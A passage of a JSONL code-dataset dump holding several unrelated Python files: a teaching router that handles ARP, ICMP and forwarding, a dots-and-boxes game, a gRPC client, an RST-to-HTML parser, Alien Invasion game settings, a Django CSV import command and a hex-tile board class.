icmp_header.icmptype = icmptype\n icmp_header.icmpdata.data = pkt.to_bytes()[:28]\n icmp_header.icmpcode = code\n ip_header = IPv4()\n ip_header.ttl = 64\n ip_header.src = self.net.interface_by_name(input_port).ipaddr\n ip_header.dst = pkt.get_header(IPv4).src\n \n icmp_err_pkt = ip_header + icmp_header\n if ip_header.dst in self.arp_table.keys():\n #create ethernet header and send\n dest_eth = self.arp_table[str(ip_header.dst)]\n src_eth = self.net.interface_by_name(input_port).ethaddr\n e = Ethernet(src = src_eth, dst = dest_eth)\n icmp_err_pkt.prepend_header(e)\n self.net.send_packet(self.interface_by_ipaddr(ip_header.dst), icmp_err_pkt) \n\n else:\n entry = self.forwarding_table_lookup(ip_header.dst)\n self.create_arp_request(entry, self.net.interface_by_name(entry[3]).ipaddr, ip_header.dst, icmp_err_pkt)\n\n\n\n def router_main(self): \n '''\n Main method for router; we stay in a loop in this method, receiving\n packets until the end of time.\n '''\n while True:\n gotpkt = True\n try:\n timestamp,dev,pkt = self.net.recv_packet(timeout=1.0)\n except NoPackets:\n log_debug(\"No packets available in recv_packet\")\n gotpkt = False\n except Shutdown:\n log_debug(\"Got shutdown signal\")\n break\n\n if gotpkt:\n log_debug(\"Got a packet: {}\".format(str(pkt)))\n\n\n # Deal with an ARP packet\n if(pkt.has_header(Arp)):\n arp = pkt.get_header(Arp)\n # Deal with an ARP request\n if arp.operation == 1:\n\n # Add request information to arp table\n if(arp.senderprotoaddr not in self.arp_table.keys()):\n self.arp_table[arp.senderprotoaddr] = arp.senderhwaddr\n \n # Create an ARP reply if the destination address is attached to our router\n if(arp.targetprotoaddr in self.router_interfaces.values()):\n reply = create_ip_arp_reply(self.net.interface_by_ipaddr(arp.targetprotoaddr).ethaddr, arp.senderhwaddr, arp.targetprotoaddr, arp.senderprotoaddr)\n self.net.send_packet(self.net.interface_by_name(dev), reply)\n continue\n\n # Deal with an ARP reply\n else:\n # Update ARP table with new info\n eth = arp.senderhwaddr\n self.arp_table[str(arp.senderprotoaddr)] = str(eth)\n\n # Send packets queued for this request and remove from queue \n resolved = None\n for request in self.arp_queue:\n if str(request.ipaddr) in self.arp_table.keys():\n for queued_packet in request.pkt_queue:\n if queued_packet.has_header(Ethernet):\n i = queued_packet.get_header_index(Ethernet)\n del queued_packet[i]\n e = Ethernet()\n e.dst = self.arp_table[str(request.ipaddr)]\n e.src = self.net.interface_by_name(request.port_name).ethaddr\n queued_packet.prepend_header(e) \n self.net.send_packet(self.net.interface_by_name(request.port_name), queued_packet)\n resolved = request \n if resolved is not None:\n self.arp_queue.remove(resolved)\n \n # Deal with IP packet\n if(pkt.has_header(IPv4)):\n ipv4 = pkt.get_header(IPv4)\n dest = ipv4.dst\n \n #decrement TTL\n ipv4.ttl -= 1 \n # Send icmp error to source if ttl is zero \n if ipv4.ttl <= 0:\n self.create_icmp_error_pkt(pkt, dev, ICMPType.TimeExceeded, ICMPTypeCodeMap[ICMPType.TimeExceeded].TTLExpired)\n continue\n\n\n # Checking if the pkt is an ICMP request for one of our interfaces\n if dest in self.router_interfaces.values() and pkt.has_header(ICMP):\n icmp = pkt.get_header(ICMP)\n if icmp.icmptype == 8:\n # Create ICMP echo reply header\n echo_reply = ICMP()\n echo_reply.icmptype = 0\n echo_reply.icmpdata.sequence = icmp.icmpdata.sequence\n echo_reply.icmpdata.identifier = icmp.icmpdata.identifier\n echo_reply.icmpdata.data = icmp.icmpdata.data\n\n # Create IP header\n new_ip = IPv4()\n new_ip.dst = ipv4.src\n new_ip.src = self.net.interface_by_name(dev).ipaddr\n new_ip.ttl = 64 \n \n # Create the packet and add headers\n reply_pkt = Packet()\n reply_pkt += new_ip\n reply_pkt += echo_reply \n \n source_entry = self.forwarding_table_lookup(ipv4.src)\n request_ip = self.net.interface_by_name(source_entry[3]).ipaddr\n \n if str(source_entry[2]) in self.arp_table.keys():\n dest_eth = self.arp_table[source_entry[2]] \n src_eth = self.net.interface_by_name(dev).ethaddr\n e = Ethernet(src = src_eth, dst = dest_eth)\n reply_pkt.prepend_header(e) \n self.net.send_packet(self.net.interface_by_name(source_entry[3]), reply_pkt)\n else: \n in_queue = False\n \n for request in self.arp_queue:\n if (request.ipaddr == new_ip.dst):\n request.pkt_queue.append(reply_pkt)\n in_queue = True\n\n if not in_queue:\n if source_entry[2] is not None:\n self.create_arp_request(source_entry, request_ip, source_entry[2], reply_pkt)\n else:\n self.create_arp_request(source_entry, request_ip, self.net.interface_by_name(dev).ipaddr, reply_pkt) \n else:\n if dest in self.router_interfaces.values():\n self.create_icmp_error_pkt(pkt, dev, ICMPType.DestinationUnreachable, ICMPTypeCodeMap[ICMPType.DestinationUnreachable].PortUnreachable)\n continue\n\n # Find the next hop via forwarding table\n matched_entry = self.forwarding_table_lookup(dest)\n\n\n # Processes the packet if a match was found\n if matched_entry is not None: \n # If destination mac is already known, send packet\n if str(dest) in self.arp_table.keys():\n dest_eth = self.arp_table[str(dest)]\n src_eth = self.net.interface_by_name(dev).ethaddr\n e = Ethernet(src = src_eth, dst = dest_eth)\n pkt.prepend_header(e)\n self.net.send_packet(self.interface_by_ipaddr(str(dest), pkt)) \n\n \n # Check for outstanding arp request or create one\n else:\n in_queue = False\n for request in self.arp_queue:\n if (request.ipaddr == dest):\n request.pkt_queue.append(pkt)\n in_queue = True\n \n if not in_queue:\n if matched_entry[2] is not None:\n self.create_arp_request(matched_entry, matched_entry[2], dest, pkt)\n else: \n self.create_arp_request(matched_entry, self.net.interface_by_name(matched_entry[3]).ipaddr, dest, pkt)\n \n # No match found in forwarding table, create error packet and send\n else:\n self.create_icmp_error_pkt(pkt, dev, ICMPType.DestinationUnreachable, ICMPTypeCodeMap[ICMPType.DestinationUnreachable].NetworkUnreachable)\n\n\n self.handle_arp_requests()\n\n \n\n\ndef main(net):\n '''\n Main entry point for router. Just create Router\n object and get it going.\n '''\n r = Router(net)\n r.router_main()\n net.shutdown()\n","sub_path":"ipv4/myrouter.py","file_name":"myrouter.py","file_ext":"py","file_size_in_byte":14540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"512481919","text":"import numpy as np\n\n\ndef array_to_game(x, y):\n return (x * 11) + y\n\n\nclass Game:\n\n def __init__(self):\n self.current_player = 1\n self.game_state = GameState(np.array([0 for n in range(121)], dtype=np.int), 1)\n self.move_space = np.array([0 for n in range(121)], dtype=np.int)\n self.grid_shape = (11, 11)\n self.input_shape = (2, 11, 11)\n self.name = 'dots-n-boxes'\n self.state_size = len(self.game_state.binary)\n self.move_size = len(self.move_space)\n\n def reset(self):\n self.game_state = GameState(np.array([0 for n in range(121)], dtype=np.int), 1)\n self.current_player = 1\n return self.game_state\n\n def step(self, move):\n moved = self.game_state.make_move(move)\n next_state = moved[0]\n value = moved[1]\n done = moved[2]\n self.game_state = next_state\n\n self.current_player = self.game_state.player_turn # not correct\n info = None\n return next_state, value, done, info\n\n def identities(self, state, move_values):\n identities = [(state, move_values)]\n board = state.board\n MVs = move_values\n indexes = np.array([\n 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0,\n 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11,\n 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22,\n 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33,\n 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44,\n 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55,\n 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66,\n 87, 86, 85, 84, 83, 82, 81, 80, 79, 78, 77,\n 98, 97, 96, 95, 94, 93, 92, 91, 90, 89, 88,\n 109, 108, 107, 106, 105, 104, 103, 102, 101, 100, 99,\n 120, 119, 118, 117, 116, 115, 114, 113, 112, 111, 110\n ])\n board = np.array([board[n] for n in indexes])\n MVs = np.array([MVs[n] for n in indexes])\n\n identities.append((GameState(board, state.player_turn), MVs))\n return identities\n\n def render(self):\n output = [[' ' for i in range(11)] for j in range(11)]\n for i in range(11):\n for j in range(11):\n spot = array_to_game(i, j)\n if i % 2 and not j % 2:\n # vertical\n if self.game_state.board[spot]:\n output[i][j] = '|'\n if not i % 2 and j % 2:\n # horizontal\n if self.game_state.board[spot]:\n output[i][j] = '-'\n if not i % 2 and not j % 2:\n # dot\n output[i][j] = 'o'\n if i % 2 and j % 2:\n # box\n if self.game_state.board[spot] == -1:\n output[i][j] = '2'\n elif self.game_state.board[spot] == 1:\n output[i][j] = '1'\n else:\n output[i][j] = ' '\n game_rend = ' 0 1 2 3 4 5 6 7 8 9 10\\n\\n'\n for ind,row in enumerate(output):\n if ind < 10:\n out = ' '.join(row)\n game_rend = game_rend + str(ind) + ' ' + out + '\\n'\n else:\n out = ' '.join(row)\n game_rend = game_rend + str(ind) + ' ' + out + '\\n'\n return game_rend\n\n\nclass GameState:\n def __init__(self, board, player_turn):\n self.board = board\n self.player_turn = player_turn\n self.value = self._get_value()\n self.score = self._get_score()\n self.allowed_moves = self._allowed_moves()\n self.game_over = self._check_over()\n self.id = self._state_id()\n self.binary = self._binary()\n\n def _allowed_moves(self):\n allowed = []\n for index in range(121):\n if index % 2:\n if self.board[index] == 0:\n allowed.append(index)\n return allowed\n\n def _get_score(self):\n tmp = self.value\n return tmp[1], tmp[2]\n\n def _check_over(self):\n xscore = 0\n yscore = 0\n # this will be obsoleted\n for x in range(5):\n for y in range(6, 11):\n index = (y * 2) + x * 22\n if self.board[index] == self.player_turn:\n xscore += 1\n if self.board[index] == -self.player_turn:\n yscore += 1\n if xscore > 12:\n return 1\n if yscore > 12:\n return 1\n return 0\n\n def _get_value(self):\n xscore = 0\n yscore = 0\n for x in range(5):\n for y in range(6, 11):\n index = (y * 2) + x * 22\n if self.board[index] == self.player_turn:\n xscore += 1\n if self.board[index] == -self.player_turn:\n yscore += 1\n if yscore > 12:\n return -1, -1, 1\n if xscore > 12:\n return 1, 1, -1\n return 0, 0, 0\n\n def _state_id(self):\n positions1 = np.zeros(len(self.board), dtype=np.int)\n positions2 = np.zeros(len(self.board), dtype=np.int)\n for i in range(len(self.board)):\n if self.board[i] == 1:\n positions1[i] = 1\n if self.board[i] == -1:\n positions2[i] = 1\n positions = np.append(positions1, positions2)\n state_id = ''.join(map(str, positions))\n return state_id\n\n def _binary(self):\n positions = np.zeros(len(self.board) * 2, dtype=np.int)\n for i in range(len(self.board)):\n positions[i] = self.board[i] == 1\n positions[1 + len(self.board)] = self.board[i] == -1\n return positions\n\n def _check_box(self, move, board):\n top = board[move - 11] != 0\n bottom = board[move + 11] != 0\n left = board[move - 1] != 0\n right = board[move + 1] != 0\n if top and bottom and left and right:\n board[move] = self.player_turn\n return 1\n return 0\n\n def _check_box_made(self, move, board):\n if move % 11 % 2 == 0:\n # Vertical Line\n if move % 11 == 0:\n return self._check_box(move + 1, board)\n if move % 11 == 10:\n return self._check_box(move - 1, board)\n else:\n right = self._check_box(move + 1, board)\n left = self._check_box(move - 1, board)\n return left or right\n else:\n # Horizontal Line\n if move < 11:\n return self._check_box(move + 11, board)\n if move > 109:\n return self._check_box(move - 11, board)\n else:\n bottom = self._check_box(move + 11, board)\n top = self._check_box(move - 11, board)\n return bottom or top\n\n def make_move(self, move):\n board = np.array(self.board)\n board[move] = self.player_turn\n made = 0\n if self._check_box_made(move, board):\n made = 1\n\n state = GameState(board, -self.player_turn)\n value = 0\n over = 0\n\n if state.game_over:\n value = state.value[0]\n over = 1\n elif made == 1:\n state.player_turn = -state.player_turn # double negation to keep turn\n\n return state, value, over\n","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"154848492","text":"from sys import argv\n\nimport grpc\n\nimport blink_pb2\nimport blink_pb2_grpc\n\nchannel = grpc.insecure_channel('localhost:50051')\nstub = blink_pb2_grpc.SkyHawkPowerManager_ServiceStub(channel)\n\nif argv[1]==\"setRegister\":\n\tresponse = stub.SkyHawkPmgr_SetRegister(blink_pb2.SkyHawkPmgr_SetRegister_Request(regName=argv[2], value=int(argv[3])))\nelif argv[1]==\"getRegister\":\n\tresponse = stub.SkyHawkPmgr_GetRegister(blink_pb2.SkyHawkPmgr_GetRegister_Request(regName=argv[2]))\n\tprint (response.value)\nelif argv[1]==\"updateFW\":\n\tstub.SkyHawkPmgr_UpdateFW(blink_pb2.SkyHawkPmgr_UpdateFW_Request(filePath=argv[2]))\nelif argv[1]==\"getFWVersion\":\n\tresponse = stub.SkyHawkPmgr_GetFWVersion(blink_pb2.SkyHawkPmgr_GetFWVersion_Request())\n\tprint (response.fwVersion)\nelif argv[1]==\"getHWVersion\":\n\tresponse = stub.SkyHawkPmgr_GetHWVersion(blink_pb2.SkyHawkPmgr_GetHWVersion_Request())\n\tprint (response.hwVersion)\nelse:\n\tprint(\"Error, call format is skyhawkPMGRExample method [value]\")\n","sub_path":"examples/python/skyhawkPowerExample/skyhawkPower.py","file_name":"skyhawkPower.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"301734332","text":"from collections import namedtuple\n\nfrom bs4 import BeautifulSoup\nfrom docutils.core import publish_parts\nfrom docutils.writers import html4css1\n\nParsedResult = namedtuple('Result', ['body', 'sidebar', 'snippet'])\n\nclass CustomWriter(html4css1.Writer):\n ''' Uses the HTML5Translator to output HTML.'''\n def __init__(self):\n super(CustomWriter, self).__init__()\n self.translator_class = HTML5Translator\n\nclass HTML5Translator(html4css1.HTMLTranslator):\n ''' Replaces the default
...
style output\n with the more concise
...
HTML5 equivalent.\n\n The following page was very useful for this:\n http://www.arnebrodowski.de/blog/write-your-own-restructuredtext-writer.html\n '''\n\n def visit_section(self, node):\n self.section_level += 1\n self.body.append(self.starttag(node, 'section'))\n\n def depart_section(self, node):\n self.section_level -= 1\n self.body.append('\\n')\n\n def visit_sidebar(self, node):\n self.section_level += 1\n self.body.append(self.starttag(node, 'section', CLASS='sidebar'))\n\n def depart_sidebar(self, node):\n self.section_level -= 1\n self.body.append('\\n')\n\ndef parse(rst):\n ''' Returns a ParsedResult extracted from the given rst string.'''\n\n # parse into html\n html = publish_parts(rst, writer=CustomWriter())['html_body']\n soup = BeautifulSoup(html, 'html.parser')\n\n # dispose of irrelevant parts\n wrapper = soup.select('.document')[0]\n wrapper.unwrap()\n\n try:\n first_paragraph= soup.h1.findNext('p').prettify()\n except:\n first_paragraph=''\n\n sidebar = ''.join(tag.extract().prettify()\n for tag in soup.select('.sidebar'))\n\n return ParsedResult(body=soup.prettify(),\n snippet=first_paragraph,\n sidebar=sidebar)\n\n","sub_path":"dsclose/blog/rst.py","file_name":"rst.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"222204483","text":"class Settings():\n \n \"\"\"A class to store all settings for Alien Invasion.\"\"\"\n def __init__(self):\n self.screen_height=700\n self.screen_width=1000\n self.bg_color=(0,0,0)\n self.ship_speed=1\n self.ship_speed_factor=1\n self.ship_limit=3\n self.bullet_speed=1\n self.bullet_width=3\n self.bullet_height=15\n self.bullet_color=(255,255,255)\n self.bullets_allowed=10\n self.alien_speed_factor=1\n self.fleet_drop_speed=30\n #fleet_direction of 1 represents right ;-1 represents left.\n self.fleet_direction=1\n self.speedup_scale=1.1\n self.score_scale=1.5\n self.initialize_dynamic_settings()\n self.alien_points=50\n \n def initialize_dynamic_settings(self):\n self.ship_speed_factor=1.5\n self.bullet_speed_factor=3\n self.alien_speed_factor=1\n self.fleet_direction=1\n self.alien_points=50\n\n def increase_speed(self):\n self.ship_speed_factor*=self.speedup_scale\n self.bullet_speed_factor*=self.speedup_scale\n self.alien_speed_factor*=self.speedup_scale\n self.alien_points=int(self.alien_points*self.score_scale)\n\n\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"650765633","text":"from django.core.management.base import BaseCommand, CommandError\nfrom borsApp.models import Cicle, Categoria, Centre\nfrom django.contrib.gis.geos import Point\n\nimport csv\n\nclass Command(BaseCommand):\n help = 'Carrega dades dels centres docents'\n\n def handle(self, *args, **options):\n # esborrem tots els centres\n Centre.objects.all().delete()\n\n with open('misc/Directori_de_centres_docents.csv') as csvfile:\n csv_reader = csv.DictReader( csvfile )\n for row in csv_reader:\n if row[\"Curs\"] != \"2018/2019\" or \"institut\" not in row[\"Denominació completa\"].lower():\n continue\n qs = Centre.objects.filter(nom=row[\"Denominació completa\"])\n if qs:\n print(\"--- SALTANT (ja existeix) : \"+row[\"Denominació completa\"])\n continue\n centre = Centre()\n centre.educatiu = True\n centre.codi = row[\"Codi centre\"]\n centre.nom = row[\"Denominació completa\"]\n centre.direccio = row[\"Adreça\"]\n centre.poblacio = row[\"Nom localitat\"]\n centre.cp = row[\"Codi postal\"]\n centre.telefon = 1 #row[\"Telèfon\"]\n centre.email = row[\"E-mail centre\"]\n centre.web = \"\"\n x = row[\"Coordenades GEO X\"]\n y = row[\"Coordenades GEO Y\"]\n if( x and y ):\n centre.localitzacio = Point(float(x),float(y))\n else:\n centre.localitzacio = Point(0,0)\n centre.save()\n print(row[\"Codi centre\"]+\" | \"+row[\"Denominació completa\"])\n\n","sub_path":"core/management/commands/importa_centres.py","file_name":"importa_centres.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"570845808","text":"# -*- coding: utf-8 -*-\nimport pdb\n\nfrom engine.src.lib.utils import Utils\nfrom engine.src.board.board import Board\nfrom engine.src.tile.hex_tile import HexTile\nfrom engine.src.vertex import Vertex\nfrom engine.src.edge import Edge\nfrom engine.src.direction.edge_direction import EdgeDirection\nfrom engine.src.direction.vertex_direction import VertexDirection\nfrom engine.src.direction.edge_vertex_mapping import EdgeVertexMapping\n\n\nclass HexBoard(Board):\n \"\"\"A horizontal hextile board, such as that used in Settlers of Catan.\n\n Hextiles are referred to using axial coordinates.\n See below for more on axial hex coordinates.\n http://devmag.org.za/2013/08/31/geometry-with-hex-coordinates/\n www.redblobgames.com/grids/hexagons\n\n Attributes:\n radius (int): The number of tiles between the center tile and the edge\n of the board, including the center tile itself. Should be >= 1.\n\n tiles (dict): A dictionary of tiles, indexed using axial coordinates\n\n tile_cls (class): Class of the tiles to be generated during board\n initialization.\n \n Args:\n radius (int): The number of tiles between the center tile and the edge\n of the board, including the center tile itself. Should be >= 1.\n \"\"\"\n\n MIN_BOARD_RADIUS = 1\n\n def __init__(self, radius, tile_cls=HexTile):\n\n if radius < HexBoard.MIN_BOARD_RADIUS:\n message = (\"Specified radius does not meet the minimum board \"\n \"tile radius {0}\").format(HexBoard.MIN_BOARD_RADIUS)\n raise ValueError(message)\n\n self.radius = radius\n\n self.tile_cls = tile_cls\n\n self.tiles = {}\n self._create_tiles()\n\n def _create_tiles(self):\n \"\"\"Generates a dictionary of tiles, indexed by axial coordinates.\n\n See how coordinates are generated in _add_new_tile_with_coords()\n\n Returns:\n None.\n \"\"\"\n\n for x, y in self.iter_tile_coords():\n self._add_new_tile_with_coords(x, y)\n\n self._sync_tile_vertices_and_edges()\n\n\n def _add_new_tile_with_coords(self, x, y):\n \"\"\"Add a brand new tile to the board at the given axial coordinates.\"\"\"\n\n if x not in self.tiles:\n self.tiles[x] = {}\n\n tile = self.tile_cls(x, y)\n self.tiles[x][y] = tile\n\n def _sync_tile_vertices_and_edges(self):\n \"\"\"Synchronize shared vertices and edges across tiles.\n\n New tile objects will create their own vertices and edges. When tiles\n share edges and vertices with existing tiles on the board, however,\n we want them to point to the same shared vertex or edge objects,\n instead of each having their own. This method enforces this for the\n given tile.\n \"\"\"\n\n for x, y in self.iter_tile_coords():\n tile = self.get_tile_with_coords(x, y)\n\n for vertex_dir in VertexDirection:\n new_vertex = Vertex()\n self.update_vertex(x, y, vertex_dir, new_vertex)\n\n for edge_dir in EdgeDirection:\n new_edge = Edge()\n self.update_edge(x, y, edge_dir, new_edge)\n\n def get_tile_with_coords(self, x, y):\n \"\"\"Get the tile at the given coordinates, or None if no tile exists.\"\"\"\n\n if x in self.tiles and y in self.tiles[x]:\n return self.tiles[x][y]\n\n return None\n\n def get_vertex(self, x, y, vertex_dir):\n \"\"\"Get the vertex defined by the given params.\"\"\"\n tile = self.get_tile_with_coords(x, y)\n\n if tile:\n return tile.vertices[vertex_dir]\n else:\n return None\n\n def valid_tile_coords(self, x, y):\n \"\"\"Return whether or not these params specify a valid tile.\"\"\"\n\n return bool(self.get_tile_with_coords(x, y))\n\n def valid_vertex(self, x, y, vertex_dir):\n \"\"\"Return whether or not these params specify a valid vertex.\"\"\"\n\n return bool(self.get_vertex(x, y, vertex_dir))\n\n def get_neighboring_tile(self, tile, edge_direction):\n \"\"\"Get the tile neighboring the given tile in the given direction.\n\n Args:\n tile (Tile): The tile for which we'd like to find the neighbor.\n\n edge_direction (EdgeDirection): Hextiles have 6 edges and thus\n neighbors in 6 different directions. Should be relative to the\n given tile.\n\n Returns:\n Tile. None if the tile has no valid neighbor in that direction.\n\n TODO: enforce that direction is actually in EdgeDirection\n \"\"\"\n\n x = tile.x + edge_direction[0]\n y = tile.y + edge_direction[1]\n\n return self.get_tile_with_coords(x, y)\n\n def get_neighboring_tiles(self, tile):\n \"\"\"Get all six neighboring tiles for the given hextile.\n\n Args:\n tile (Tile): The tile whose neighbors we want to return.\n\n Returns:\n dict. Keys are directions and values are tiles that neighbor the\n given tile in that direction.\n \"\"\"\n\n neighboring_tiles = {}\n\n for direction in EdgeDirection:\n neighbor_tile = self.get_neighboring_tile(tile, direction)\n\n if neighbor_tile:\n neighboring_tiles[direction] = neighbor_tile\n\n return neighboring_tiles\n\n def iter_tiles(self):\n \"\"\"Iterate over the tiles in this board.\n\n The order is that described in iter_tile_coords.\n\n Yields:\n Tile. Each tile of the board.\n \"\"\"\n\n for x, y in self.iter_tile_coords():\n yield self.get_tile_with_coords(x, y)\n\n def iter_perimeter_tiles(self):\n \"\"\"Iterate over the tiles along the outermost edge of the board.\"\"\"\n for x, y in HexBoard.iter_tile_ring_coords(self.radius - 1):\n yield self.get_tile_with_coords(x, y)\n\n def iter_tile_coords(self):\n \"\"\"Iterate over axial coordinates for each tile in the board.\n\n This is a generator function that will yield the coordinates to the\n caller each time after they are computed.\n\n We can consider a hextile board a series of concentric rings where the\n radius counts the number of concentric rings that compose the board.\n When generating coordinates, we traverse each such ring one at a time,\n using the pattern specified in iter_tile_ring_coords().\n\n Yields:\n tuple. The axial (x, y) coordinates of each tile on the board.\n \"\"\"\n\n for ring_index in range(self.radius):\n for x, y in HexBoard.iter_tile_ring_coords(ring_index):\n yield x, y\n\n @staticmethod\n def iter_tile_ring_coords(ring_index):\n \"\"\"Iterate clockwise over coordinates of the board's perimeter tiles.\n\n We can consider a hextile board a series of concentric rings where the\n radius counts the number of concentric rings that compose the board.\n Thus, ring_index 0 corresponds to the center tile and ring_index =\n self.radius - 1 corresponds to perimeter tiles.\n\n Here we generate the coordinates for all tiles of a single ring,\n designated by ring_index, traversing the ring one tile at a time,\n starting from the westernmost tile and continuing around the ring in a\n clockwise fashion.\n\n Args:\n ring_index (int): Defines which tile ring to iterate over.\n Should be a value between 0 and self.radius - 1.\n\n Yields:\n tuple. The axial (x, y) coordinates of each tile in the given ring.\n \"\"\"\n\n # We start yielding coordinates from the westernmost tile.\n x = -1 * ring_index\n y = 0\n\n if x == 0 and y == 0:\n yield x, y\n\n # First we scale the northwest side of the ring.\n # This is equivalent to moving along the y-axis of the board.\n while y != ring_index:\n yield x, y\n y += 1\n\n # Then we scale the northern side of the ring.\n # This is equivalent to moving along the x-axis of the board.\n while x != 0:\n yield x, y\n x += 1\n\n # Then we scale the northeast side of the ring.\n # This is equivalent to moving along the z-axis of the board.\n while x != ring_index or y != 0:\n yield x, y\n x += 1\n y -= 1\n\n # Then we scale the southeast side of the ring.\n while y != -ring_index:\n yield x, y\n y -= 1\n\n # Then the south side of the ring.\n while x != 0:\n yield x, y\n x -= 1\n\n # And finally the south west side of the ring.\n while x != -ring_index:\n yield x, y\n x -= 1\n y += 1\n\n def update_edge(self, x, y, edge_dir, edge_val):\n \"\"\"Update the specified edge.\n\n Also updates equivalent edge for neighboring tile.\n\n Args:\n x (int): Axial x-coordinate of the tile, one of whose vertices\n we will update.\n\n y (int): Axial y-coordinate of the tile, one of whose vertices\n we will update.\n\n edge_dir (EdgeDirection): Direction of edge to update relevant to\n tile given by x, y coordinates.\n\n edge_val (Structure): Value to replace old edge values.\n\n Returns:\n None\n \"\"\"\n tile = self.get_tile_with_coords(x, y)\n vertex_dirs = EdgeVertexMapping.get_vertex_dirs_for_edge_dir(edge_dir)\n\n neighbor_tile = self.get_neighboring_tile(tile, edge_dir)\n\n tile.add_edge(vertex_dirs[0], vertex_dirs[1], edge_val)\n\n # Perimeter tiles will not have neighbors along certain edges.\n if neighbor_tile:\n nv_dir_1 = HexTile.get_equivalent_vertex_dir(vertex_dirs[0], edge_dir)\n nv_dir_2 = HexTile.get_equivalent_vertex_dir(vertex_dirs[1], edge_dir)\n neighbor_tile.add_edge(nv_dir_1, nv_dir_2, edge_val)\n\n def update_vertex(self, x, y, vertex_dir, vertex_val):\n \"\"\"Update the value at the specified vertex location.\n\n Also updates vertex for neighboring tiles.\n\n Args:\n x (int): Axial x-coordinate of the tile, one of whose vertices\n we will update.\n\n y (int): Axial y-coordinate of the tile, one of whose vertices\n we will update.\n\n vertex_dir (VertexDirection): Vertex direction, relative to the\n tile specified by the x and y coordinates, of the vertex to\n update.\n\n vertex_val (Structure): Value to replace old vertex values.\n\n Returns:\n None.\n \"\"\"\n\n tile = self.get_tile_with_coords(x, y)\n old_vertex_val = self.get_vertex(x, y, vertex_dir)\n\n tile.vertices[vertex_dir] = vertex_val\n\n # Get the two edges of the found tile that have as an endpoint\n # a vertex of the given vertex direction.\n vertex_adj_edge_dirs = EdgeVertexMapping.get_edge_dirs_for_vertex_dir(\n vertex_dir)\n\n for vertex_adj_edge_dir in vertex_adj_edge_dirs:\n neighbor_tile = self.get_neighboring_tile(tile, vertex_adj_edge_dir)\n\n # Edge tiles may not have neighboring tiles in the given direction.\n if neighbor_tile:\n neighbor_vertex_dir = HexTile.get_equivalent_vertex_dir(\n vertex_dir, vertex_adj_edge_dir)\n\n neighbor_tile.update_vertex(neighbor_vertex_dir, vertex_val)\n\n def get_adjacent_tiles_to_vertex(self, x, y, vertex_dir):\n \"\"\"Get the three tiles that converge at the specified vertex.\n\n Args:\n x (int): Axial x-coordinate of the tile, one of whose vertices\n we will update.\n\n y (int): Axial y-coordinate of the tile, one of whose vertices\n we will update.\n\n vertex_dir (VertexDirection): Vertex direction, relative to the\n tile specified by the x and y coordinates, of the vertex to\n find the adjacent tiles of.\n\n Returns:\n list of Tiles. The tiles that converge at the specified vertex.\n \"\"\"\n\n tile = self.get_tile_with_coords(x, y)\n\n adjacent_tiles = map(\n lambda edge_dir: self.get_neighboring_tile(tile, edge_dir),\n EdgeVertexMapping.get_edge_dirs_for_vertex_dir(vertex_dir)\n )\n\n adjacent_tiles.append(tile)\n\n return adjacent_tiles\n\n def get_adjacent_edges(self, x, y, vert_or_edge_dir, return_values=True):\n if vert_or_edge_dir in EdgeDirection:\n if return_values:\n return self.get_adjacent_edges_for_edge(x, y, vert_or_edge_dir)\n else:\n return self._get_adjacent_edges_for_edge(x, y, vert_or_edge_dir)\n\n elif vert_or_edge_dir in VertexDirection:\n if return_values:\n return self.get_adjacent_edges_to_vertex(x, y, vert_or_edge_dir)\n else:\n return self._get_adjacent_edges_to_vertex(x, y, vert_or_edge_dir)\n\n def _get_adjacent_edges_to_vertex(self, x, y, vertex_dir):\n\n tile = self.get_tile_with_coords(x, y)\n\n edge_vals = []\n\n # Get the directions of edges that both have vertex_dir as an endpoint.\n edge_dirs = EdgeVertexMapping.get_edge_dirs_for_vertex_dir(vertex_dir)\n\n edge_vals.append( (x, y, edge_dirs[0]) )\n edge_vals.append( (x, y, edge_dirs[1]) )\n\n # The last edge value won't be available via the current tile's edges,\n # but must be found on its neighbor.\n neighbor_x = tile.x + edge_dirs[0][0]\n neighbor_y = tile.y + edge_dirs[0][1]\n neighboring_tile = self.get_neighboring_tile(tile, edge_dirs[0])\n opp_vert_dir = HexTile.get_equivalent_vertex_dir(vertex_dir, edge_dirs[0])\n\n neighbor_edge_dirs = EdgeVertexMapping.get_edge_dirs_for_vertex_dir(opp_vert_dir)\n neighbor_edge_dir = next(d for d in neighbor_edge_dirs if d not in \\\n map(lambda edge_val: edge_val[2].get_opposite_direction(), edge_vals))\n\n edge_vals.append( (neighbor_x, neighbor_y, neighbor_edge_dir) )\n\n return edge_vals\n\n def get_adjacent_edges_to_vertex(self, x, y, vertex_dir):\n\n edge_tuples = self._get_adjacent_edges_to_vertex(x, y, vertex_dir)\n edge_vals = []\n\n msg = \"Edges adjacent to ({}, {}) {}:\\n\".format(x, y, vertex_dir)\n\n for x, y, edge_dir in edge_tuples:\n tile = self.get_tile_with_coords(x, y)\n edge_val = tile.get_edge(edge_dir)\n\n edge_vals.append(edge_val)\n msg += '\\t\\t ({}, {}) {}\\n'.format(x, y, edge_dir)\n\n return edge_vals\n\n def _get_adjacent_edges_for_edge(self, x, y, edge_dir):\n\n vertex_dirs = EdgeVertexMapping.get_vertex_dirs_for_edge_dir(edge_dir)\n\n edge_tuples = []\n edge_tuples.extend(self._get_adjacent_edges_to_vertex(x, y, vertex_dirs[0]) + \\\n self._get_adjacent_edges_to_vertex(x, 